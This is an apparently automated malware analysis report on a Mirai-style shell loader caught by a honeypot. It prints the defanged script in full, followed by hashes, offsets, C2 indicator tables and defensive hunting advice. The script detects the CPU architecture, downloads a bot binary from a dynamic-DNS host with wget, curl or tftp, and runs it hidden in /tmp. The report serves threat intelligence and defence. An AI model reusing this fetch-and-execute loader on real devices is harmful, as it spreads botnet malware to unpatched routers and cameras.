Honeypot capture
POSIX shell script loader (42f1363b2247)
#!/bin/sh
# Atomic-Mirai loader — detect arch, download bot, execute
HOST="hxxp[://]wer-ldr[.]duckdns[.]org"
TMP="/tmp/.b"
ARCH=$(uname -m)
case "$ARCH" in
armv7l) BIN="bot.arm7" ;;
armv6l) BIN="bot.arm6" ;;
armv5*) BIN="bot.arm5" ;;
arm*) BIN="bot.arm" ;;
mips64*) BIN="bot.mips" ;;
mips*) BIN="bot.mips" ;;
x86_64) BIN="bot.x86_64" ;;
i?86) BIN="bot.x86" ;;
*) BIN="bot.mips" ;; # tebak MIPS
esac
wget "$HOST/bots/$BIN" -O "$TMP" 2>/dev/null || \
curl -s "$HOST/bots/$BIN" -o "$TMP" 2>/dev/null || \
tftp -g -r "bots/$BIN" "$HOST" 2>/dev/null || exit 0
chmod +x "$TMP"
exec "$TMP" &
The sample in full, defanged. It will not resolve or fetch anything as written.
An automatic pipeline built on Binary Ninja read a 640-byte POSIX shell script, captured by a honeypot sensor network, as data rather than running it, and recovered ten command-and-control endpoints; all ten name a single host, wer-ldr[.]duckdns[.]org. The work was done by machine, and Kinryu Labs reports the findings. C2 is the channel an infected machine uses to reach its operator for instructions. The script is a loader: it works out what kind of machine it has landed on, fetches the payload built for that machine, starts it and exits. The seven bot.* second stages it fetches hold the operator’s capability, and they are not part of this sample.
A loader has to name the infrastructure it fetches from in a form the device itself can resolve, so recovering one gives a defender the delivery infrastructure the operator used for that wave. The architecture list here is led by ARM and defaults to MIPS. That pattern marks a campaign aimed at embedded devices such as routers and cameras, which are rarely patched and rarely monitored.
Hashes and file properties
Read from the sample on 2026-08-31.
| Field | Value |
|---|---|
| SHA-256 | 42f1363b224766f655f7ef1e7f37de1c8a33ac172a2ebcbfd401cab88643d12c |
| SHA-1 | cfa797ef62eb83ed013bf1e1e3f02984ebb651af |
| MD5 | 84fe7284dc5276fe00c3b1c3cc66d6f7 |
| ssdeep | 12:l4k7JIuWvGSqxSZo0nO8WT01kuzVfzi6ssb/AFRENlMfx4CJFrFWZ9uOG0Lmz:lX7OuWvGzxmHDC07zVfzx/0MlMfx4CHV |
| File type | POSIX shell script, Unicode text, UTF-8 text executable |
| Size | 640 bytes |
| Whole-file entropy | 5.21 |
| Classification | loader / dropper (classification confidence 0.90) |
| Family | null — not attributed |
| Packed | no |
Whole-file entropy is 5.21. Entropy measures how random a file’s bytes are and is used to spot compression or encryption, and plain text scores low. The searches for encryption — r2 /ck, /ca aes and the SHA-256/ChaCha byte searches — came back empty, and the pipeline recorded no packing, string obfuscation or anti-analysis checks. The ssdeep line is a fuzzy hash, which stays similar when a file is edited slightly, so near-identical variants of this loader can be matched against it. The value in ORIGINAL_NAME is the sample’s own SHA-256, a name assigned by the collection pipeline, and it is reported here as data only.
What the 24 lines do
The pipeline read all 24 lines. Offsets below are byte positions in the script, which has no virtual addresses, no sections and no code.
ARCH=$(uname -m) at 0x0079 reads the machine architecture (ATT&CK T1082), and a nine-arm case spanning 0x008a–0x01bf maps the result to one of seven payload names: bot.arm7, bot.arm6, bot.arm5, bot.arm, bot.mips, bot.x86_64, bot.x86. Architectures outside that list fall through to bot.mips. The script sets the C2 base in cleartext at 0x0048 and the drop path at 0x006a.
At 0x01c5 the script tries wget, fetching the second-stage ELF over cleartext HTTP (T1105, T1071.001), and at 0x01f7 it tries curl -s; at 0x022c it falls back to tftp -g -r (T1105). The legs are ||-chained, each discards stderr to /dev/null, and the chain terminates in || exit 0, so a host on which all three legs fail produces no error output and returns success.
The script runs chmod +x "$TMP" at 0x0262 and then exec "$TMP" & at 0x0272, so the second stage outlives the loader. TMP is /tmp/.b, set at 0x006a; the leading dot keeps it out of a bare ls. That assignment gives the file path indicator /tmp/.b at confidence 0.95, and the exec line gives a process running as .b at 0.70, the lower figure because that row is an inference from exec "$TMP" & about how the payload presents in the process table.
The script runs with user privilege only, because it writes to /tmp and installs no persistence. It needs /bin/sh, chmod, uname, one of wget/curl/tftp, and outbound tcp/80, udp/69 and DNS.
Ten endpoints, one name
Network indicators recovered statically from cleartext bytes, each anchored to a file offset. All are unverified.
| Value | Port | Proto | Role | Offset | Confidence |
|---|---|---|---|---|---|
wer-ldr[.]duckdns[.]org | 80 | http | primary | 0x0048 | 0.95 |
wer-ldr[.]duckdns[.]org | 69 | udp | fallback | 0x022c | 0.75 |
hxxp[://]wer-ldr[.]duckdns[.]org/bots/ | 80 | http | primary | 0x0048 | 0.90 |
hxxp[://]wer-ldr[.]duckdns[.]org/bots/bot.arm7 | 80 | http | primary | 0x0048 | 0.90 |
hxxp[://]wer-ldr[.]duckdns[.]org/bots/bot.arm6 | 80 | http | primary | 0x0048 | 0.90 |
hxxp[://]wer-ldr[.]duckdns[.]org/bots/bot.arm5 | 80 | http | primary | 0x0048 | 0.90 |
hxxp[://]wer-ldr[.]duckdns[.]org/bots/bot.arm | 80 | http | primary | 0x0048 | 0.90 |
hxxp[://]wer-ldr[.]duckdns[.]org/bots/bot.mips | 80 | http | primary | 0x0048 | 0.90 |
hxxp[://]wer-ldr[.]duckdns[.]org/bots/bot.x86_64 | 80 | http | primary | 0x0048 | 0.90 |
hxxp[://]wer-ldr[.]duckdns[.]org/bots/bot.x86 | 80 | http | primary | 0x0048 | 0.90 |
The URL template is hxxp[://]wer-ldr[.]duckdns[.]org/bots/${BIN} at 0x01c5, method GET. The script sets no User-Agent, so requests go out with the default Wget/* or curl/* string, which on a consumer device is anomalous by itself and can be hunted for alongside URI paths matching /bots/bot.*.
The hostname is the durable indicator here, for tcp/80 and udp/69 alike, because duckdns.org is free dynamic DNS, a service that maps a chosen hostname to whatever address its owner currently has. The address behind the name is operator-controlled and can change within minutes, so any IP-based block built on it will decay.
The TFTP leg passes a URL where a hostname belongs
TFTP moves files over UDP with a minimum of machinery, ships on embedded devices, and is often reachable where HTTP is not; the third leg is there for hosts with no HTTP client. The call at 0x022c is tftp -g -r "bots/$BIN" "$HOST", and $HOST holds hxxp[://]wer-ldr[.]duckdns[.]org — the full URL including the scheme — where a bare hostname is expected. Most TFTP clients will fail to resolve that. The findings record this as a static reading of an apparent operator bug.
An attacker-authored comment is a clustering signal at best
The comment at 0x000a, # Atomic-Mirai loader — detect arch, download bot, execute, is attacker-authored, so it is recorded as evidence of what the author called the file and classification.family remains null. The file opens #!/bin/sh, so the whole script is shell-interpreted (T1059.004). A multi-arch wget/curl/tftp fetcher dropping a dot-file into /tmp is a structural pattern shared across the whole Mirai/Gafgyt/BASHLITE ecosystem, and it does not by itself discriminate between them. A second comment at 0x01b2 reads # tebak MIPS — tebak is Indonesian for “guess” — a weak authorship signal, useful mainly for clustering this sample against others.
Defensive actions from the recovered indicators
Block and alert on the hostname wer-ldr[.]duckdns[.]org rather than on its addresses, for both tcp/80 and udp/69, because the address behind the name is operator-controlled and can change within minutes, so any IP-based block will decay. Hunt for /tmp/.b and processes running as .b, and treat any host that completed a fetch as compromised by the second stage.
What the seven bot binaries hold
The seven bot.* second stages served from hxxp[://]wer-ldr[.]duckdns[.]org/bots/ hold all C2 command handling, persistence and any scanning or DDoS capability, and this analysis does not show what they do. No one resolved wer-ldr[.]duckdns[.]org, so its addresses and whether that infrastructure is still live are unknown. Nobody ran the TFTP fallback leg, so whether it can ever succeed is untested. Family attribution also remains open, since the only direct evidence is the attacker-authored comment.
- Family
- unclassified
- First seen
- September 20, 2026
- Vector
- Runs as a loader/dropper; the entry vector is not established by static analysis
- Format
- 640 bytes POSIX shell script
- VirusTotal
- 26/75 engines: trojan.shell/abdownloader
- Tags
- dropper · http · loader · script
- Sample
- By request. Email security@kinryu.sh
SHA-256
-
42f1363b224766f655f7ef1e7f37de1c8a33ac172a2ebcbfd401cab88643d12cas captured
Analysis performed using an automatic malware analysis pipeline using Binary Ninja